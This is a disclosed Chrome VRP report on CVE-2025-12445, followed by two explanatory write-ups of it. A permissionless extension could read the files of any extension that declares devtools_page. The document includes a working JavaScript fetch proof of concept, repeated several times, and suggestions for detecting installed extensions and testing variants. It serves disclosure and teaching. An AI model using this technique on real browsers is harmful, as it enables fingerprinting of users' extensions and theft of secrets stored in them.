Policy bypass in Extensions (CVE-2025-12445)
Any browser extension could read files from another extension that declares a devtools_page, even without the management permission or web-accessible resources. An attacker could detect the presence of such an extension and extract any secrets stored in its files.
Originally disclosed on Chrome VRP
- Fix shipped in 4 months
Steps to reproduce the problem
- Download attached ZIP file and extract its contents.
- Install each of the three browser extensions that it contains (i.e. "actor", "target-with-devtools" and "target-without-devtools").
- Open JavaScript console of "actor" extension's service worker.
- Run the following script (replace "TARGET WITH DEVTOOLS" and "TARGET WITHOUT DEVTOOLS" with the extension ID of the respective extension):
async function getFileContent(extensionId, filename) {
const resp = await fetch(`chrome-extension://${extensionId}/${filename}`);
return await resp.text();
}
await getFileContent("TARGET WITH DEVTOOLS", "manifest.json")
// '{\n "manifest_version": 3,\n "version": "0.1",\n "name": "Target (with developer tools)",\n "devtools_page": "devtools.html"\n}\n'
await getFileContent("TARGET WITH DEVTOOLS", "file.txt")
// 'Target extension file (with developer tools panel)\n'
await getFileContent("TARGET WITHOUT DEVTOOLS", "manifest.json")
// Uncaught TypeError: Failed to fetch
await getFileContent("TARGET WITHOUT DEVTOOLS", "file.txt")
// Uncaught TypeError: Failed to fetch
Problem Description
Any extension (despite it not having the "management" permission, or any other permissions) is able to read the contents of files contained within any extension that specifies the "devtools_page" key in its manifest (despite those files not being declared web-accessible). This allows the actor extension to (a) detect that the target extension is present, and (b) extract any potential secrets contained within the target extension.
Summary
Files of extensions with developer tools page are exposed to other extensions
Custom Questions
Reporter credit:
Thomas Greiner
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A \
Policy bypass in Extensions (CVE-2025-12445)
Context
Chrome extensions can declare a devtools_page key in their manifest. That key registers a page that Chrome loads to build the extension's panel inside the browser's Developer Tools. The page is part of the extension package, but it is not meant to be a public surface: files inside an extension are normally reachable from other extensions only when they are declared web-accessible, and even then access is governed by the extension's permissions.
The report describes a policy bypass in which an extension without the management permission, or any other permission, can read files from any other installed extension that declares devtools_page, including files that are not declared web-accessible. The affected product is Google Chrome, the issue was handled through the Chrome VRP, and it was disclosed on 28 October 2025 with a severity of low and a bounty of 1,000 USD. The weakness class is policy bypass, in the Extensions asset.
Setup
The researcher prepared a ZIP file containing three extensions:
actor: the extension that performs the reads. It needs no special permissions.target-with-devtools: a target extension whose manifest declaresdevtools_page.target-without-devtools: a control target that does not declaredevtools_page.
The test runs on Chrome Stable. The report lists regression as N/A, so no specific Chrome version is given.
Finding it
An extension could fetch files belonging to another extension when that other extension declares a devtools_page, even though those files are not declared web-accessible and the actor holds no relevant permission. The control extension, which does not declare devtools_page, is not readable. That difference isolates the devtools_page key as the condition that opens the files up.
Exploitation
Step 1: Prepare the extensions
Download the attached ZIP file and extract its contents. The archive holds the three extensions described above.
Step 2: Install the extensions
Install each of the three browser extensions: actor, target-with-devtools and target-without-devtools.
Step 3: Open the actor's service worker console
Open the JavaScript console of the actor extension's service worker.
Step 4: Run the fetch script
Run the following script, replacing TARGET WITH DEVTOOLS and TARGET WITHOUT DEVTOOLS with the extension ID of the respective extension:
async function getFileContent(extensionId, filename) {
const resp = await fetch(`chrome-extension://${extensionId}/${filename}`);
return await resp.text();
}
await getFileContent("TARGET WITH DEVTOOLS", "manifest.json")
// '{\n "manifest_version": 3,\n "version": "0.1",\n "name": "Target (with developer tools)",\n "devtools_page": "devtools.html"\n}\n'
await getFileContent("TARGET WITH DEVTOOLS", "file.txt")
// 'Target extension file (with developer tools panel)\n'
await getFileContent("TARGET WITHOUT DEVTOOLS", "manifest.json")
// Uncaught TypeError: Failed to fetch
await getFileContent("TARGET WITHOUT DEVTOOLS", "file.txt")
// Uncaught TypeError: Failed to fetch
The helper builds a chrome-extension:// URL from the target's extension ID and a filename, fetches it and returns the body as text. The four calls show the contrast:
| Call | Result |
|---|---|
manifest.json of the target with devtools |
Manifest contents returned, including "devtools_page": "devtools.html" |
file.txt of the target with devtools |
File contents returned |
manifest.json of the target without devtools |
Uncaught TypeError: Failed to fetch |
file.txt of the target without devtools |
Uncaught TypeError: Failed to fetch |
The returned manifest confirms the target is Manifest V3, version 0.1, named Target (with developer tools), and declares devtools_page. The file.txt read shows that the exposure is not limited to the manifest: arbitrary packaged files can be read. The two failures against the control extension show that the behaviour depends on devtools_page and is not a general cross-extension read primitive.
Root cause
Extensions that declare a devtools_page are readable by other extensions, regardless of whether the files are declared web-accessible and regardless of the requesting extension's permissions. The report does not describe the internal mechanism, so the exact code path is not stated. What the report establishes is the condition: presence of the devtools_page key in the target's manifest. The files are not declared web-accessible, and the actor holds no relevant permission.
Impact
Any installed extension, with no permissions at all, can read the packaged files of any other installed extension that declares devtools_page. The researcher identifies two consequences:
- Presence detection: the actor can determine that the target extension is installed.
- Secret extraction: the actor can read any secrets contained in the target extension's files.
The severity assigned is low. The report does not enumerate which kinds of secrets might realistically be present, so the practical value of the extraction depends on what a given target extension ships in its package.
Fix
The report does not state what change was made.
Variants to test
- Other manifest keys that cause Chrome to load a packaged page. Install a target that declares the key and a control without it, then fetch a non-web-accessible file from the actor's service worker. A positive result is file contents returned for the target and
Failed to fetchfor the control. - Files beyond the manifest. Fetch a known packaged file such as a text or script file. A positive result is the file body, showing the exposure is not limited to
manifest.json. - Permission independence. Repeat the fetch from an actor with no declared permissions. A positive result is the same read, confirming the permission model is bypassed.
- Presence detection. Fetch only
manifest.jsonfrom a set of candidate extension IDs. A positive result is a returned manifest for installed targets and a fetch failure for absent ones.
Hunting notes
This class of bug hides in the boundary between extension-internal resources and the rest of the browser. The signal is a manifest key that makes Chrome load a packaged page, combined with the absence of a web-accessible declaration for the files involved. The researcher used an actor with no permissions, a target with the key and a control without it, and showed both a manifest read and a file read, with the control failing. That contrast is what makes the condition and the bypass unambiguous.
What happened, in plain words
Google Chrome lets people add extra features to the browser through small programs called extensions. Each extension is a folder of files: a description file called the manifest, plus pages, scripts and other resources. Chrome normally keeps those files private to the extension that owns them. Another extension should not be able to peek inside.
There is one exception in the rules: if an extension explicitly marks a file as web-accessible, it is saying "other extensions and web pages may read this file". If it does not mark a file that way, the file should stay private.
This report shows that the rule was broken for one particular kind of extension. If an extension declares a key called devtools_page in its manifest, then any other installed extension can read its files, even files that were never marked web-accessible, and even when the reading extension has no permissions at all. The researcher demonstrated this with three small extensions and a short script.
The affected product is Google Chrome. The issue was handled through the Chrome VRP (Google's programme that rewards people for reporting security bugs in Chrome), disclosed on 28 October 2025, rated low severity, with a bounty of 1,000 USD. The weakness class is policy bypass: a situation where a program gets around a rule that is supposed to restrict what it can do. The asset is Extensions.
Context
What an extension and its manifest are
An extension is a bundle of files that Chrome loads to add a feature: a toolbar button, a page that changes how a website looks, a tool inside the developer panel, and so on. The bundle always contains a file called manifest.json. Think of the manifest as the label on a box: it tells Chrome the extension's name, its version, which files to load and which powers (permissions) it wants.
What devtools_page does
Chrome has a built-in set of tools for developers, called Developer Tools (often shortened to DevTools). Extensions can add their own panel to it. To do that, the extension puts a key named devtools_page in its manifest, pointing at an HTML page inside the package. Chrome loads that page to build the extension's panel.
That page is an ordinary file in the extension's folder. It is not meant to be a public surface. The normal rule is: files inside an extension can be reached from other extensions only when they are declared web-accessible, and even then the extension's permissions govern the access.
What the report is about
The report describes a policy bypass: an extension without the management permission (a permission that lets an extension list and manage other extensions) or any other permission can read files from any other installed extension that declares devtools_page, including files that are not declared web-accessible.
Setup
The researcher prepared a ZIP file containing three extensions:
actor: the extension that performs the reads. It needs no special permissions.target-with-devtools: a target extension whose manifest declaresdevtools_page.target-without-devtools: a control target that does not declaredevtools_page.
A control here means a comparison case: an extension that is the same in every way except the one detail being tested. If the actor can read the first target but not the control, the difference must come from that one detail.
The test runs on Chrome Stable, the ordinary release channel most people use. The report lists regression as N/A, so no specific Chrome version is given.
Finding it
An extension could fetch files belonging to another extension when that other extension declares a devtools_page, even though those files are not declared web-accessible and the actor holds no relevant permission. The control extension, which does not declare devtools_page, is not readable. That difference isolates the devtools_page key as the condition that opens the files up.
Exploitation
Step 1: Prepare the extensions
Download the attached ZIP file and extract its contents. The archive holds the three extensions described above. Extracting means unpacking the archive so that each extension sits in its own folder on disk.
Step 2: Install the extensions
Install each of the three browser extensions: actor, target-with-devtools and target-without-devtools.
Step 3: Open the actor's service worker console
Open the JavaScript console of the actor extension's service worker.
A service worker is a background script that an extension runs without any visible page. It keeps working even when no tab of the extension is open. Chrome gives each service worker a developer console, the same kind of console web developers use to run JavaScript and see errors. That matters: the whole point is to test what an extension is allowed to do, so the request must come from an extension.
Step 4: Run the fetch script
Run the following script, replacing TARGET WITH DEVTOOLS and TARGET WITHOUT DEVTOOLS with the extension ID of the respective extension:
async function getFileContent(extensionId, filename) {
const resp = await fetch(`chrome-extension://${extensionId}/${filename}`);
return await resp.text();
}
await getFileContent("TARGET WITH DEVTOOLS", "manifest.json")
// '{\n "manifest_version": 3,\n "version": "0.1",\n "name": "Target (with developer tools)",\n "devtools_page": "devtools.html"\n}\n'
await getFileContent("TARGET WITH DEVTOOLS", "file.txt")
// 'Target extension file (with developer tools panel)\n'
await getFileContent("TARGET WITHOUT DEVTOOLS", "manifest.json")
// Uncaught TypeError: Failed to fetch
await getFileContent("TARGET WITHOUT DEVTOOLS", "file.txt")
// Uncaught TypeError: Failed to fetch
Line by line, in plain words:
async function getFileContent(extensionId, filename) {starts a reusable helper.asyncmeans the function can wait for slow things such as network requests. It takes two inputs: which extension to read from, and which file to read.const resp = await fetch(...)asks the browser to fetch a URL and waits for the answer.fetchis the browser's built-in way of requesting a resource, the same mechanism a web page uses to load data.- The URL is built from a template:
chrome-extension://${extensionId}/${filename}.chrome-extension://is the address scheme Chrome uses for extension files, similar tohttps://for websites. The extension ID is the unique code Chrome assigns to each installed extension, and the filename is the file inside that extension's folder. return await resp.text();waits for the response body and returns it as plain text.- The four
await getFileContent(...)calls then run the helper against the two targets. The comment lines below each call show what came back.
The four calls show the contrast:
| Call | Result |
|---|---|
manifest.json of the target with devtools |
Manifest contents returned, including "devtools_page": "devtools.html" |
file.txt of the target with devtools |
File contents returned |
manifest.json of the target without devtools |
Uncaught TypeError: Failed to fetch |
file.txt of the target without devtools |
Uncaught TypeError: Failed to fetch |
The returned manifest confirms the target is Manifest V3 (the current format for extension manifests), version 0.1, named Target (with developer tools), and declares devtools_page. The file.txt read shows that the exposure is not limited to the manifest: arbitrary packaged files can be read. The two failures against the control extension show that the behaviour depends on devtools_page and is not a general cross-extension read primitive. In other words, it is not that extensions can always read each other; it is specifically the presence of that key that opens the door.
Root cause
Extensions that declare a devtools_page are readable by other extensions, regardless of whether the files are declared web-accessible and regardless of the requesting extension's permissions. The report does not describe the internal mechanism, so the exact code path is not stated. What the report establishes is the condition: presence of the devtools_page key in the target's manifest. The files are not declared web-accessible, and the actor holds no relevant permission.
Impact
Any installed extension, with no permissions at all, can read the packaged files of any other installed extension that declares devtools_page. The researcher identifies two consequences:
- Presence detection: the actor can determine that the target extension is installed.
- Secret extraction: the actor can read any secrets contained in the target extension's files.
A secret here means any sensitive value shipped inside the extension's files, such as a key or token. The severity assigned is low. The report does not enumerate which kinds of secrets might realistically be present, so the practical value of the extraction depends on what a given target extension ships in its package.
Fix
The report does not state what change was made.
Variants to test
- Other manifest keys that cause Chrome to load a packaged page. Install a target that declares the key and a control without it, then fetch a non-web-accessible file from the actor's service worker. A positive result is file contents returned for the target and
Failed to fetchfor the control. - Files beyond the manifest. Fetch a known packaged file such as a text or script file. A positive result is the file body, showing the exposure is not limited to
manifest.json. - Permission independence. Repeat the fetch from an actor with no declared permissions. A positive result is the same read, confirming the permission model is bypassed.
- Presence detection. Fetch only
manifest.jsonfrom a set of candidate extension IDs. A positive result is a returned manifest for installed targets and a fetch failure for absent ones.
Hunting notes
This class of bug hides in the boundary between extension-internal resources and the rest of the browser. The signal is a manifest key that makes Chrome load a packaged page, combined with the absence of a web-accessible declaration for the files involved. The researcher used an actor with no permissions, a target with the key and a control without it, and showed both a manifest read and a file read, with the control failing. That contrast is what makes the condition and the bypass unambiguous.
Glossary
- Extension: a small program added to a browser to give it extra features, stored as a folder of files.
- Manifest: the
manifest.jsonfile inside an extension that describes its name, version, files and permissions. - Manifest V3: the current format and rules for Chrome extension manifests.
devtools_page: a manifest key that points to a page Chrome loads to build the extension's panel inside Developer Tools.- Developer Tools (DevTools): the built-in panel in Chrome for inspecting pages, scripts and network activity.
- Web-accessible: a declaration that marks a file inside an extension as readable by other extensions and web pages.
- Permission: a power an extension asks for in its manifest, such as the ability to manage other extensions.
managementpermission: a specific permission that lets an extension list and manage other installed extensions.- Policy bypass: a weakness where a program gets around a rule meant to restrict what it can do.
- Service worker: a background script an extension runs without a visible page, with its own developer console.
- Console: a place in the browser where you can run JavaScript and see its output and errors.
fetch: the browser's built-in function for requesting a resource over a URL.chrome-extension://URL: the address scheme Chrome uses to refer to files inside an installed extension.- Extension ID: the unique code Chrome assigns to each installed extension.
- Control: a comparison case that is identical except for the one detail being tested.
- Chrome Stable: the ordinary release channel of Chrome used by most people.
- Regression: a note about whether the bug is new or was introduced by a recent change; here listed as N/A.
- Chrome VRP: Google's programme that rewards people for reporting security bugs in Chrome.
- CVE: a public identifier assigned to a known security vulnerability.
- Severity: a rating of how serious a vulnerability is; here low.
- Bounty: a payment made to a researcher for a valid security report.
- Secret: a sensitive value such as a key or token that should not be exposed.
- Recon: the information-gathering phase of security testing, here enumerating installed extensions and their manifests.
- Content script: a script an extension injects into web pages, as opposed to a page Chrome loads for the extension itself.